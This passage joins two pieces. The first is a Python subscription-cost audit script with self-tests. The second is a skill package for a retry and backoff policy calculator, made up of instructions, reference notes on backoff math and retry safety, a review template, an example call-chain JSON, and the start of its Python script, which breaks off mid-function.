trial_end + paid_after_trial: a free trial (amount 0) that converts to paid_after_trial on trial_end.
Reports, all converted to one currency with explicit rates (--rate USD=0.92):
monthly and yearly cost per item and in total, by category, your share of shared plans,
renewals in the next --days days (past dates are rolled forward by the cycle),
flags: UNUSED (last_used older than --unused-days), OVERLAP (several items in one category),
TRIAL (trial ends within --days; amount after trial if given), PRICE_UP (amount > previous_amount),
ANNUAL_SAVES (annual_price cheaper than 12 x monthly), RENEWS_YEARLY (a yearly charge within --days).
Usage:
python3 sub_audit.py subscriptions.csv --currency EUR --rate USD=0.92 --today 2026-10-20
python3 sub_audit.py subscriptions.csv --json
python3 sub_audit.py --self-test
Exit code: 0 OK, 2 bad input.
"""
import argparse
import calendar
import csv
import datetime as dt
import json
import re
import sys
from decimal import Decimal, ROUND_HALF_UP
NAMED = {"weekly": (1, "w"), "biweekly": (2, "w"), "fortnightly": (2, "w"), "monthly": (1, "m"),
"bimonthly": (2, "m"), "quarterly": (3, "m"), "semiannual": (6, "m"), "semiannually": (6, "m"),
"half-yearly": (6, "m"), "yearly": (12, "m"), "annual": (12, "m"), "annually": (12, "m")}
UNIT = {"d": "d", "day": "d", "days": "d", "w": "w", "week": "w", "weeks": "w", "m": "m", "month": "m",
"months": "m", "y": "y", "year": "y", "years": "y"}
PER_MONTH = {"d": Decimal("30.436875"), "w": Decimal("4.348125"), "m": Decimal(1), "y": Decimal(1) / 12}
D2 = Decimal("0.01")
class AuditError(ValueError):
pass
def parse_cycle(s):
s = (s or "").strip().lower()
if s in NAMED:
n, u = NAMED[s]
return n, u
m = re.fullmatch(r"(?:every\s+)?(\d+)\s*([a-z]+)", s)
if m and m.group(2) in UNIT:
n, u = int(m.group(1)), UNIT[m.group(2)]
if n <= 0:
raise AuditError(f"cycle must be positive: {s!r}")
if u == "y":
return n * 12, "m"
return n, u
raise AuditError(f"unknown cycle {s!r} (use weekly, monthly, quarterly, yearly or 'every 2 months')")
def monthly_factor(n, u):
"""How many charges per month for a cycle of n units."""
return PER_MONTH[u] / n
def add_cycle(d, n, u):
if u == "d":
return d + dt.timedelta(days=n)
if u == "w":
return d + dt.timedelta(weeks=n)
m = d.month - 1 + n
y, m = d.year + m // 12, m % 12 + 1
return dt.date(y, m, min(d.day, calendar.monthrange(y, m)[1]))
def parse_date(s, field, name):
s = (s or "").strip()
if not s:
return None
try:
return dt.date.fromisoformat(s)
except ValueError:
raise AuditError(f"{name}: bad {field} date {s!r} (use YYYY-MM-DD)")
def money(s, field, name, required=False):
s = (s or "").strip().replace(",", "") if (s or "").count(",") and "." in (s or "") else (s or "").strip().replace(",", ".")
if not s:
if required:
raise AuditError(f"{name}: {field} is required")
return None
try:
v = Decimal(s)
except Exception:
raise AuditError(f"{name}: bad {field} {s!r}")
if v < 0:
raise AuditError(f"{name}: {field} cannot be negative")
return v
def q(v):
return v.quantize(D2, rounding=ROUND_HALF_UP)
def load(lines):
rd = csv.DictReader(lines)
if not rd.fieldnames:
raise AuditError("empty CSV")
rows = []
for r in rd:
r = {(k or "").strip().lower(): (v or "").strip() for k, v in r.items()}
if not any(r.values()):
continue
if not r.get("name"):
raise AuditError("every row needs a name")
rows.append(r)
if not rows:
raise AuditError("no subscriptions found")
return rows
def audit(rows, currency="EUR", rates=None, today=None, days=30, unused_days=45):
rates = {k.upper(): Decimal(str(v)) for k, v in (rates or {}).items()}
rates[currency.upper()] = Decimal(1)
today = today or dt.date.today()
horizon = today + dt.timedelta(days=days)
items, flags, renewals, raw = [], [], [], {}
for r in rows:
name = r["name"]
cur = (r.get("currency") or currency).upper()
if cur not in rates:
raise AuditError(f"{name}: no rate for {cur}; pass --rate {cur}=<value in {currency}>")
rate = rates[cur]
n, u = parse_cycle(r.get("cycle"))
amount = money(r.get("amount"), "amount", name, required=True)
after_trial = money(r.get("paid_after_trial"), "paid_after_trial", name)
trial_end = parse_date(r.get("trial_end"), "trial_end", name)
users = int(r.get("users") or 1)
if users < 1:
raise AuditError(f"{name}: users must be at least 1")
charge = amount * rate
f = monthly_factor(n, u)
monthly = charge * f
item = {"name": name, "category": r.get("category") or "Other", "currency": cur, "amount": float(amount),
"cycle": r.get("cycle"), "monthly": q(monthly), "yearly": q(monthly * 12), "users": users,
"your_monthly": q(monthly / users), "your_yearly": q(monthly * 12 / users)}
raw[name] = (monthly, monthly / users)
items.append(item)
nxt = parse_date(r.get("next_renewal"), "next_renewal", name)
if nxt:
while nxt < today:
nxt = add_cycle(nxt, n, u)
item["next_renewal"] = nxt.isoformat()
d = nxt
while d <= horizon:
due = charge
if trial_end and d >= trial_end and after_trial is not None:
due = after_trial * rate
renewals.append({"date": d.isoformat(), "name": name, "amount": q(due)})
d = add_cycle(d, n, u)
if (n, u) in ((12, "m"),) or (u == "m" and n >= 12):
if nxt <= horizon:
flags.append({"name": name, "flag": "RENEWS_YEARLY",
"detail": f"{q(charge)} {currency} charge on {nxt.isoformat()}; decide before then"})
last = parse_date(r.get("last_used"), "last_used", name)
if last and (today - last).days > unused_days:
flags.append({"name": name, "flag": "UNUSED",
"detail": f"last used {last.isoformat()} ({(today - last).days} days ago); costs {q(monthly * 12)} {currency}/year"})
if trial_end and today <= trial_end <= horizon:
extra = (f"; then {q(after_trial * rate)} {currency} per charge ({q(after_trial * rate * f * 12)} {currency}/year)"
if after_trial is not None else "")
flags.append({"name": name, "flag": "TRIAL",
"detail": f"trial ends {trial_end.isoformat()} ({(trial_end - today).days} days){extra}; cancel or keep on purpose"})
prev = money(r.get("previous_amount"), "previous_amount", name)
if prev and amount > prev:
pct = (amount - prev) / prev * 100
flags.append({"name": name, "flag": "PRICE_UP",
"detail": f"{prev} -> {amount} {cur} (+{q(pct)}%), +{q((amount - prev) * rate * f * 12)} {currency}/year"})
annual = money(r.get("annual_price"), "annual_price", name)
if annual is not None and not (u == "m" and n == 12):
save = monthly * 12 - annual * rate
if save > 0:
flags.append({"name": name, "flag": "ANNUAL_SAVES",
"detail": f"annual plan {q(annual * rate)} {currency} vs {q(monthly * 12)} {currency} paid {r.get('cycle')}: saves {q(save)} {currency}/year if you keep it 12 months"})
cats = {}
for it in items:
c = cats.setdefault(it["category"], {"count": 0, "monthly": Decimal(0), "names": []})
c["count"] += 1
c["monthly"] += raw[it["name"]][0]
c["names"].append(it["name"])
for cname, c in sorted(cats.items()):
if c["count"] > 1:
flags.append({"name": ", ".join(c["names"]), "flag": "OVERLAP",
"detail": f"{c['count']} subscriptions in {cname} ({q(c['monthly'])} {currency}/month); keep the one you use most"})
order = {"TRIAL": 0, "RENEWS_YEARLY": 1, "UNUSED": 2, "OVERLAP": 3, "PRICE_UP": 4, "ANNUAL_SAVES": 5}
flags.sort(key=lambda x: (order[x["flag"]], x["name"]))
renewals.sort(key=lambda x: (x["date"], x["name"]))
unused_names = {f["name"] for f in flags if f["flag"] == "UNUSED"}
total_m = sum((raw[it["name"]][0] for it in items), Decimal(0))
your_m = sum((raw[it["name"]][1] for it in items), Decimal(0))
return {
"currency": currency, "today": today.isoformat(), "days": days, "rates": {k: str(v) for k, v in rates.items()},
"count": len(items), "monthly_total": q(total_m), "yearly_total": q(total_m * 12),
"your_monthly_total": q(your_m), "your_yearly_total": q(your_m * 12),
"unused_yearly": q(sum((raw[it["name"]][0] * 12 for it in items if it["name"] in unused_names), Decimal(0))),
"next_days_total": q(sum((x["amount"] for x in renewals), Decimal(0))),
"by_category": {k: {"count": v["count"], "monthly": q(v["monthly"])} for k, v in sorted(cats.items(), key=lambda kv: -kv[1]["monthly"])},
"items": sorted(items, key=lambda it: -it["monthly"]), "renewals": renewals, "flags": flags,
}
def to_markdown(r):
c = r["currency"]
out = ["# Subscription audit", "",
f"**As of:** {r['today']} **Subscriptions:** {r['count']} **Currency:** {c} **Rates:** "
+ ", ".join(f"1 {k} = {v} {c}" for k, v in r["rates"].items() if k != c.upper()),
f"**Total:** {r['monthly_total']} {c}/month = {r['yearly_total']} {c}/year "
f"**Your share:** {r['your_monthly_total']} {c}/month = {r['your_yearly_total']} {c}/year",
f"**Unused (yearly cost):** {r['unused_yearly']} {c} **Charges in next {r['days']} days:** {r['next_days_total']} {c}",
"", "## Action list", ""]
out += [f"- **{f['flag']}** {f['name']}: {f['detail']}" for f in r["flags"]] or ["- Nothing to act on."]
out += ["", "## All subscriptions (most expensive first)", "",
"| Name | Category | Charge | Cycle | Per month | Per year | Users | Your year | Next renewal |",
"|---|---|---|---|---|---|---|---|---|"]
for it in r["items"]:
out.append(f"| {it['name']} | {it['category']} | {it['amount']:.2f} {it['currency']} | {it['cycle']} | {it['monthly']} | "
f"{it['yearly']} | {it['users']} | {it['your_yearly']} | {it.get('next_renewal', '')} |")
out += ["", "## By category", "", "| Category | Count | Per month |", "|---|---|---|"]
out += [f"| {k} | {v['count']} | {v['monthly']} |" for k, v in r["by_category"].items()]
out += ["", f"## Charges in the next {r['days']} days", ""]
out += [f"- {x['date']} {x['name']}: {x['amount']} {c}" for x in r["renewals"]] or ["- none"]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
T = dt.date(2026, 10, 20)
hdr = "name,amount,currency,cycle,next_renewal,category,last_used,users,trial_end,previous_amount,annual_price,paid_after_trial"
def run(*lines, **kw):
return audit(load([hdr, *lines]), today=T, **kw)
ok("named cycles", parse_cycle("Quarterly") == (3, "m") and parse_cycle("annual") == (12, "m"))
ok("every N units", parse_cycle("every 2 weeks") == (2, "w") and parse_cycle("1y") == (12, "m"))
ok("month end clamps", add_cycle(dt.date(2026, 1, 31), 1, "m") == dt.date(2026, 2, 28))
ok("leap year clamp", add_cycle(dt.date(2027, 2, 28), 12, "m") == dt.date(2028, 2, 28) and add_cycle(dt.date(2028, 1, 31), 1, "m") == dt.date(2028, 2, 29))
r = run("A,10,EUR,monthly,,X,,,,,,")
ok("monthly 10 = 120/year", r["yearly_total"] == Decimal("120.00"))
r = run("A,120,EUR,yearly,,X,,,,,,")
ok("yearly 120 = 10/month", r["monthly_total"] == Decimal("10.00"))
r = run("A,5,EUR,weekly,,X,,,,,,")
ok("weekly 5 = 260.89/year", r["yearly_total"] == Decimal("260.89") and r["items"][0]["monthly"] == Decimal("21.74"))
r = run("A,1,EUR,monthly,,X,,3,,,,", "B,1,EUR,monthly,,X,,3,,,,", "C,1,EUR,monthly,,X,,3,,,,")
ok("totals use unrounded shares", r["your_monthly_total"] == Decimal("1.00"))
r = run("A,10,USD,monthly,,X,,,,,,", rates={"USD": "0.9"})
ok("currency rate applied", r["monthly_total"] == Decimal("9.00"))
try:
run("A,10,GBP,monthly,,X,,,,,,")
ok("missing rate rejected", False)
except AuditError:
ok("missing rate rejected", True)
r = run("Fam,20,EUR,monthly,,Music,,4,,,,")
ok("shared plan your share", r["your_monthly_total"] == Decimal("5.00") and r["monthly_total"] == Decimal("20.00"))
r = run("Old,10,EUR,monthly,,X,2026-07-01,,,,,")
ok("unused flagged", any(f["flag"] == "UNUSED" for f in r["flags"]) and r["unused_yearly"] == Decimal("120.00"))
r = run("Fresh,10,EUR,monthly,,X,2026-10-01,,,,,")
ok("recent use not flagged", not r["flags"])
r = run("A,10,EUR,monthly,,Video,,,,,,", "B,8,EUR,monthly,,Video,,,,,,")
ok("overlap flagged", [f["flag"] for f in r["flags"]] == ["OVERLAP"])
r = run("T,0,EUR,monthly,2026-10-25,Software,,,2026-10-25,,,24.99")
ok("trial flagged with paid price", r["flags"][0]["flag"] == "TRIAL" and "24.99" in r["flags"][0]["detail"])
ok("trial charge counted in renewals", r["renewals"][0]["amount"] == Decimal("24.99"))
r = run("P,12,EUR,monthly,,X,,,,10,,")
ok("price increase flagged", r["flags"][0]["flag"] == "PRICE_UP" and "+20.00%" in r["flags"][0]["detail"] and "+24.00" in r["flags"][0]["detail"])
r = run("M,10,EUR,monthly,,X,,,,,99,")
ok("annual saving flagged", r["flags"][0]["flag"] == "ANNUAL_SAVES" and "saves 21.00" in r["flags"][0]["detail"])
r = run("M,10,EUR,monthly,,X,,,,,130,")
ok("no saving when annual is pricier", not r["flags"])
r = run("Y,50,EUR,yearly,2026-11-01,X,,,,,,")
ok("yearly renewal soon flagged", r["flags"][0]["flag"] == "RENEWS_YEARLY")
r = run("W,1,EUR,weekly,2026-10-21,X,,,,,,")
ok("weekly renewals listed in window", len(r["renewals"]) == 5 and r["next_days_total"] == Decimal("5.00"))
r = run("Past,10,EUR,monthly,2026-08-15,X,,,,,,")
ok("rolled forward to the future", r["items"][0]["next_renewal"] == "2026-11-15")
for line, label in [("A,-3,EUR,monthly,,X,,,,,,", "negative amount rejected"),
("A,3,EUR,sometimes,,X,,,,,,", "unknown cycle rejected"),
("A,3,EUR,monthly,20-10-2026,X,,,,,,", "bad date rejected"),
("A,3,EUR,monthly,,X,,0,,,,", "zero users rejected")]:
try:
run(line)
ok(label, False)
except AuditError:
ok(label, True)
ok("markdown has action list", "## Action list" in to_markdown(run("A,10,EUR,monthly,,X,,,,,,")))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def default(o):
if isinstance(o, Decimal):
return float(o)
raise TypeError(type(o))
def main(argv=None):
ap = argparse.ArgumentParser(description="Audit recurring subscriptions: true yearly cost, unused, overlapping, trials and renewals.")
ap.add_argument("file", nargs="?", help="subscriptions CSV ('-' for stdin)")
ap.add_argument("--currency", default="EUR", help="report currency (default EUR)")
ap.add_argument("--rate", action="append", default=[], metavar="CUR=VALUE",
help="1 CUR = VALUE report-currency units, e.g. USD=0.92 (repeatable)")
ap.add_argument("--today", help="evaluation date YYYY-MM-DD (default: today)")
ap.add_argument("--days", type=int, default=30, help="look-ahead for renewals and trials (default 30)")
ap.add_argument("--unused-days", type=int, default=45, help="flag items not used for this many days (default 45)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("subscriptions CSV required (or --self-test)")
try:
rates = {}
for x in a.rate:
k, _, v = x.partition("=")
if not v:
raise AuditError(f"bad --rate {x!r}, use CUR=VALUE")
rates[k.strip().upper()] = Decimal(v.strip())
lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
today = dt.date.fromisoformat(a.today) if a.today else None
r = audit(load(lines), a.currency.upper(), rates, today, a.days, a.unused_days)
except (OSError, AuditError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, default=default, ensure_ascii=False) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())Checks retry, backoff and timeout settings across a call chain to prevent retry storms. Computes exponential delay schedules with full, equal or decorrelated jitter, worst-case latency per layer, expected tries and request amplification. Flags inner timeouts that outlive the caller, retries of non-idempotent calls, retries on 4xx, ignored Retry-After and missing caps or deadlines. Includes a stdlib Python calculator with --self-test.
---
name: retry-backoff-policy-calculator
description: Checks retry, backoff and timeout settings across a call chain to prevent retry storms. Computes exponential delay schedules with full, equal or decorrelated jitter, worst-case latency per layer, expected tries and request amplification. Flags inner timeouts that outlive the caller, retries of non-idempotent calls, retries on 4xx, ignored Retry-After and missing caps or deadlines. Includes a stdlib Python calculator with --self-test.
---
# Retry and Backoff Policy Calculator
You help engineers set retry, backoff and timeout policies that make services more reliable instead of turning a small outage into a big one. You collect the settings of every hop in a call chain (browser, gateway, services, databases, third-party APIs), compute what they really do under failure, and propose a safer policy with numbers.
## Files in this skill
- `scripts/retry_policy.py` - reads a call-chain JSON and prints delay schedules, worst-case latency, expected tries, amplification and flags (Python 3 standard library only)
- `references/backoff-math.md` - formulas for backoff, jitter, worst-case time, expected tries, amplification and timeout nesting
- `references/retry-safety-guide.md` - what is safe to retry, idempotency keys, circuit breakers, retry budgets, common library settings
- `templates/retry-policy-review.md` - review report with current chain, findings and proposed policy
- `examples/checkout-chain.json` - a three-layer checkout chain with typical mistakes
## Workflow
### 1. Map the chain
Ask for each hop, outermost first: attempts (total tries), base delay, multiplier, max delay, jitter type, per-try timeout, overall deadline, what it retries on (status codes, "timeout", "network"), whether the call is idempotent, whether an idempotency key is sent, and whether Retry-After is honored. Read them from code or config (SDK clients, HTTP client retry adapters, Envoy/Istio routes, gRPC service config, job queues). Unknown values: use the library default and mark them as assumed.
### 2. Run the calculator
```
python3 scripts/retry_policy.py examples/checkout-chain.json
python3 scripts/retry_policy.py chain.json --failure-rate 0.5 --max-amplification 8
python3 scripts/retry_policy.py chain.json --json > retry-report.json
python3 scripts/retry_policy.py --self-test
```
Exit code 1 means high-severity findings, 2 means bad input.
### 3. Explain the findings
Order: RETRY_UNSAFE and AMPLIFICATION first (they cause duplicate side effects and outages), then INNER_OUTLIVES_CALLER, HOT_LOOP, NO_PER_TRY_TIMEOUT, then medium and low. Explain each with the numbers from the report, for example "one checkout can become 36 calls to the payments provider".
### 4. Propose a fixed policy
Use `references/backoff-math.md` and `references/retry-safety-guide.md`: retry at one layer, full jitter with a cap, inner worst case below the caller's per-try timeout, deadlines passed down, idempotency keys for writes, no retries on 4xx except 408/429, Retry-After honored, a retry budget or circuit breaker. Re-run the script on the proposed JSON and show before and after.
### 5. Write it up
Fill `templates/retry-policy-review.md` and give config snippets for the user's library.
## Example result
For `examples/checkout-chain.json` at 30% failure rate: worst-case amplification 36 calls per checkout (expected 2.74); the gateway layer's 9.3 s worst case outlives the web app's 8 s per-try timeout; the payments layer retries a non-idempotent charge 4 times without an idempotency key and retries 409; no jitter at the gateway; Retry-After ignored on 429/503.
## Rules
- Never recommend retrying a non-idempotent call without an idempotency key.
- Keep numbers honest: label library defaults and guesses as assumptions.
- Prefer fewer retries with good timeouts over many retries.
- Recommend load tests or fault injection to confirm the policy, not just the math.
FILE:references/backoff-math.md
# Backoff and Timeout Math
## Terms
- **attempts**: total tries including the first. attempts 3 = 1 try + 2 retries.
- **base**: first retry delay. **multiplier**: growth factor (usually 2). **cap**: max single delay.
- **per-try timeout**: how long one try may take before it is abandoned.
- **deadline**: total time budget for the call including all tries and delays.
## Delay before retry k (k = 1 .. attempts-1)
d(k) = min(cap, base x multiplier^(k-1))
| Jitter | Delay | Range | Mean |
|---|---|---|---|
| none | d | d | d |
| full | random(0, d) | 0 .. d | d/2 |
| equal | d/2 + random(0, d/2) | d/2 .. d | 0.75 d |
| decorrelated | min(cap, random(base, 3 x previous)) | base .. min(cap, base x 3^k) | simulated |
Full jitter spreads load best and is the default recommendation. Equal jitter keeps a minimum wait. Decorrelated jitter adapts to the previous delay and works well for long-running clients.
## Worst-case duration of one call
worst = attempts x per_try_timeout + sum of max delays, then cut at the deadline if one is set.
Example: 3 tries x 1 s + 100 ms + 200 ms = 3.3 s.
## Expected tries
With an independent failure probability p per try and n attempts:
E[tries] = 1 + p + p^2 + ... + p^(n-1)
p = 0.3, n = 3 -> 1.39. During a full outage p = 1 and E = n.
## Amplification across layers
If layer A retries 3 times and calls B, which retries 3 times and calls C, which retries 4 times, one user request can become 3 x 3 x 4 = 36 calls to C during an outage. This is a retry storm: the retries keep the failing service overloaded, so it cannot recover.
Rules of thumb:
- Retry at one layer only, usually the one closest to the user or the one that owns the idempotency key.
- Inner layers: attempts 1 or 2 with a short deadline.
- Keep worst-case amplification at or below about 10.
- Add a **retry budget**: retries may be at most 10-20% of requests over a sliding window; past that, fail fast.
## Timeout nesting
Each layer's worst case must fit inside its caller's per-try timeout, minus a margin for network and work:
inner_worst <= outer_per_try_timeout - margin
Otherwise the caller abandons the try and retries while the inner layer is still working, which doubles load. Pass a deadline down the chain (for example a `grpc-timeout` or `X-Request-Deadline` header) and stop when it is used up.
## Retry-After
For 429 and 503, servers may send `Retry-After: <seconds>` or an HTTP date. Wait at least that long (use max(Retry-After, computed backoff)), and give up if it is longer than the remaining deadline.
FILE:references/retry-safety-guide.md
# Retry Safety Guide
## What to retry
| Outcome | Retry? | Notes |
|---|---|---|
| Connection refused / reset before the request was sent | Yes | Safe for any method |
| Timeout after the request was sent | Only if idempotent or with an idempotency key | The server may have done the work |
| 408 Request Timeout | Yes, with backoff | |
| 429 Too Many Requests | Yes, after Retry-After | Never faster than the server asks |
| 500 Internal Server Error | Sometimes | Only if the error is known to be transient |
| 502 / 503 / 504 | Yes, with backoff and jitter | Honor Retry-After on 503 |
| 400 / 401 / 403 / 404 / 405 / 410 / 422 | No | Same request fails the same way; fix the request, refresh auth once at most |
| 409 Conflict | Usually no | Exception: an idempotency key that is still in progress, retry after a short wait |
## Idempotency
- GET, HEAD, OPTIONS, PUT and DELETE are idempotent by HTTP semantics, if the server implements them correctly.
- POST and PATCH are not. To retry them, send an **idempotency key** (a UUID per logical operation, e.g. `Idempotency-Key` header) that the server stores with the result for 24 hours or more. Generate the key once, before the first try, and reuse it for every retry.
- Payments, emails, SMS, order creation and stock reservation must never be retried without a key.
## Client checklist
1. Per-try timeout set and shorter than the caller's.
2. Overall deadline set and passed down the chain.
3. Exponential backoff with a cap and full jitter.
4. attempts <= 3 at the edge, 1-2 inside.
5. Retry only on the table's "Yes" rows.
6. Idempotency key on every retried non-idempotent call.
7. Retry budget or circuit breaker so retries stop during an outage.
8. Metrics: tries per request, retry rate, give-up count, by dependency.
9. Log the final error with the attempt count, not every attempt at error level.
## Circuit breaker basics
- Closed: calls flow; count failures in a rolling window.
- Open: after for example 50% failures over at least 20 calls, fail fast for 30 s.
- Half-open: let a few trial calls through; close if they succeed.
A breaker and a retry budget together stop retry storms from deepening an outage.
## Common library settings
- AWS SDKs: standard mode = 3 attempts, full jitter, base 1 s for throttling; adaptive mode adds client-side rate limiting.
- gRPC retry policy: maxAttempts, initialBackoff, maxBackoff, backoffMultiplier, retryableStatusCodes (UNAVAILABLE is the usual one); retries need hedging/transparent retry rules for non-idempotent methods.
- Envoy / Istio: retry_on: 5xx,reset,connect-failure; num_retries; per_try_timeout; set route timeout >= per_try_timeout x (num_retries + 1).
- Python `urllib3.Retry(total=3, backoff_factor=0.5, status_forcelist=[502,503,504], respect_retry_after_header=True, allowed_methods=[...])`.
Check the library docs for the version you use; defaults change.
FILE:templates/retry-policy-review.md
# Retry Policy Review - <service / call chain> - <date>
**Reviewer:** <name> **Input:** <chain JSON / config files> **Failure rate assumed:** <30%>
## Chain
| # | Caller -> callee | Attempts | Backoff (base / x / cap) | Jitter | Per-try timeout | Deadline | Worst case |
|---|---|---|---|---|---|---|---|
| 1 | | | | | | | |
**Worst-case amplification:** <36> calls per request (target <= 10)
**Expected amplification at <p>:** <2.7>
## Findings
| Severity | Layer | Code | Problem | Fix |
|---|---|---|---|---|
| high | | | | |
## Proposed policy
| # | Caller -> callee | Attempts | Backoff | Jitter | Per-try timeout | Deadline | Retry on |
|---|---|---|---|---|---|---|---|
| 1 | | | | full | | | |
**New worst-case amplification:** <n> **New worst-case latency:** <s>
## Follow-ups
- [ ] Idempotency keys for: <calls>
- [ ] Retry budget / circuit breaker for: <dependency>
- [ ] Dashboards: tries per request, retry rate, give-ups
FILE:examples/checkout-chain.json
{
"name": "checkout: browser -> api gateway -> orders service -> payments provider",
"failure_rate": 0.3,
"max_amplification": 10,
"layers": [
{
"name": "web app -> api gateway",
"attempts": 3,
"base_delay_ms": 200,
"multiplier": 2,
"max_delay_ms": 2000,
"jitter": "full",
"per_try_timeout_ms": 8000,
"deadline_ms": 20000,
"retry_on": ["network", 502, 503, 504],
"idempotent": true,
"respect_retry_after": true
},
{
"name": "api gateway -> orders service",
"attempts": 3,
"base_delay_ms": 100,
"multiplier": 2,
"max_delay_ms": 1000,
"jitter": "none",
"per_try_timeout_ms": 3000,
"retry_on": [500, 502, 503, 504, "timeout"],
"idempotent": true
},
{
"name": "orders service -> payments provider (create charge)",
"attempts": 4,
"base_delay_ms": 250,
"multiplier": 2,
"jitter": "equal",
"per_try_timeout_ms": 2500,
"deadline_ms": 9000,
"retry_on": [409, 429, 500, 503, "timeout"],
"idempotent": false,
"idempotency_key": false,
"respect_retry_after": false
}
]
}
FILE:scripts/retry_policy.py
#!/usr/bin/env python3
"""Retry and backoff policy calculator (Python 3 standard library only).
Input: a JSON file describing a call chain, outermost caller first:
{"name": "checkout", "failure_rate": 0.3, "max_amplification": 10,
"layers": [
{"name": "web -> api", "attempts": 3, "base_delay_ms": 100, "multiplier": 2,
"max_delay_ms": 2000, "jitter": "full", "per_try_timeout_ms": 5000,
"deadline_ms": 12000, "retry_on": [502, 503, 504, "timeout"],
"idempotent": true, "respect_retry_after": true}, ...]}
attempts = total tries including the first one (attempts 1 = no retries).
jitter: none | full | equal | decorrelated. Delay before retry k (k = 1..attempts-1):
none d = min(cap, base * multiplier^(k-1))
full U(0, d) equal d/2 + U(0, d/2)
decorrelated min(cap, U(base, 3 * previous)) (AWS style; expected value simulated, seed 7)
Reports per layer: delay schedule (min / expected / max), worst-case time for one call
(attempts x per-try timeout + max delays, cut at deadline), expected tries at the given
failure rate, and for the chain: worst-case and expected request amplification at the
innermost dependency. Flags:
NO_JITTER, NO_CAP, HOT_LOOP (base 0), TOO_MANY_ATTEMPTS (> 5), NO_PER_TRY_TIMEOUT,
NO_DEADLINE, DEADLINE_TOO_SHORT (deadline < one per-try timeout), INNER_OUTLIVES_CALLER
(worst case > the outer layer's per-try timeout), RETRY_UNSAFE (non-idempotent with
retries and no idempotency key), RETRY_ON_4XX (retrying 400/401/403/404/409/422),
IGNORES_RETRY_AFTER (retries 429/503 without honoring Retry-After), AMPLIFICATION.
Usage:
python3 retry_policy.py chain.json
python3 retry_policy.py chain.json --failure-rate 0.5 --json
python3 retry_policy.py --self-test
Exit code: 0 OK, 1 high-severity flags found, 2 bad input.
"""
import argparse
import json
import random
import sys
JITTERS = ("none", "full", "equal", "decorrelated")
BAD_4XX = {400, 401, 403, 404, 405, 409, 410, 422}
SEVERITY = {"INNER_OUTLIVES_CALLER": "high", "RETRY_UNSAFE": "high", "AMPLIFICATION": "high",
"HOT_LOOP": "high", "NO_PER_TRY_TIMEOUT": "high", "RETRY_ON_4XX": "medium",
"NO_JITTER": "medium", "NO_CAP": "medium", "IGNORES_RETRY_AFTER": "medium",
"NO_DEADLINE": "medium", "DEADLINE_TOO_SHORT": "medium", "TOO_MANY_ATTEMPTS": "low"}
class PolicyError(ValueError):
pass
def num(layer, key, default=None, minimum=0):
v = layer.get(key, default)
if v is None:
return None
if isinstance(v, bool) or not isinstance(v, (int, float)):
raise PolicyError(f"layer {layer.get('name', '?')!r}: {key} must be a number")
if v < minimum:
raise PolicyError(f"layer {layer.get('name', '?')!r}: {key} must be >= {minimum}")
return v
def delays(layer):
"""Return [(min, expected, max)] in ms for each retry."""
n = int(layer["attempts"])
base, mult, cap = layer["base_delay_ms"], layer["multiplier"], layer["max_delay_ms"]
capf = (lambda x: x) if cap is None else (lambda x: min(cap, x))
j = layer["jitter"]
out = []
if j == "decorrelated":
rng = random.Random(7)
runs = 20000
sums = [0.0] * (n - 1)
for _ in range(runs):
prev = base
for k in range(n - 1):
prev = capf(rng.uniform(base, prev * 3)) if base > 0 else 0.0
sums[k] += prev
hi = base
for k in range(n - 1):
hi = capf(hi * 3)
out.append((capf(base), sums[k] / runs, hi))
return out
for k in range(n - 1):
d = capf(base * mult ** k)
if j == "none":
out.append((d, d, d))
elif j == "full":
out.append((0.0, d / 2, d))
else:
out.append((d / 2, d * 0.75, d))
return out
def normalize(raw):
layers = raw.get("layers") if isinstance(raw, dict) else None
if not layers or not isinstance(layers, list):
raise PolicyError("JSON must have a non-empty 'layers' list (outermost caller first)")
out = []
for i, l in enumerate(layers):
if not isinstance(l, dict):
raise PolicyError(f"layer {i} must be an object")
l = dict(l)
l.setdefault("name", f"layer {i + 1}")
a = num(l, "attempts", 1, 1)
if int(a) != a:
raise PolicyError(f"layer {l['name']!r}: attempts must be a whole number")
l["attempts"] = int(a)
l["base_delay_ms"] = num(l, "base_delay_ms", 0)
l["multiplier"] = num(l, "multiplier", 2, 1)
l["max_delay_ms"] = num(l, "max_delay_ms", None)
l["per_try_timeout_ms"] = num(l, "per_try_timeout_ms", None, 1)
l["deadline_ms"] = num(l, "deadline_ms", None, 1)
j = str(l.get("jitter", "none")).lower()
if j not in JITTERS:
raise PolicyError(f"layer {l['name']!r}: jitter must be one of {', '.join(JITTERS)}")
l["jitter"] = j
l["retry_on"] = list(l.get("retry_on", []))
l["idempotent"] = bool(l.get("idempotent", True))
l["idempotency_key"] = bool(l.get("idempotency_key", False))
l["respect_retry_after"] = bool(l.get("respect_retry_after", False))
out.append(l)
return out
def expected_tries(n, p):
if p >= 1:
return float(n)
return sum(p ** k for k in range(n))
def analyze(raw, failure_rate=None, max_amp=None):
layers = normalize(raw)
p = failure_rate if failure_rate is not None else raw.get("failure_rate", 0.2)
if not 0 <= p <= 1:
raise PolicyError("failure rate must be between 0 and 1")
max_amp = max_amp if max_amp is not None else raw.get("max_amplification", 10)
res = {"name": raw.get("name", "retry policy"), "failure_rate": p, "max_amplification": max_amp, "layers": []}
worst_amp, exp_amp = 1, 1.0
for i, l in enumerate(layers):
n = l["attempts"]
ds = delays(l)
flags = []
retries = n > 1
if retries and l["jitter"] == "none":
flags.append(("NO_JITTER", "all clients retry at the same moments; use full or decorrelated jitter"))
if retries and l["max_delay_ms"] is None and n > 3:
flags.append(("NO_CAP", "no max_delay_ms; exponential delays grow without bound"))
if retries and l["base_delay_ms"] == 0:
flags.append(("HOT_LOOP", "base_delay_ms is 0; retries fire immediately and hammer the dependency"))
if n > 5:
flags.append(("TOO_MANY_ATTEMPTS", f"{n} attempts; 3 (2 retries) is usually enough"))
if l["per_try_timeout_ms"] is None:
flags.append(("NO_PER_TRY_TIMEOUT", "no per-try timeout; one hung call can block every retry"))
if l["deadline_ms"] is None and retries:
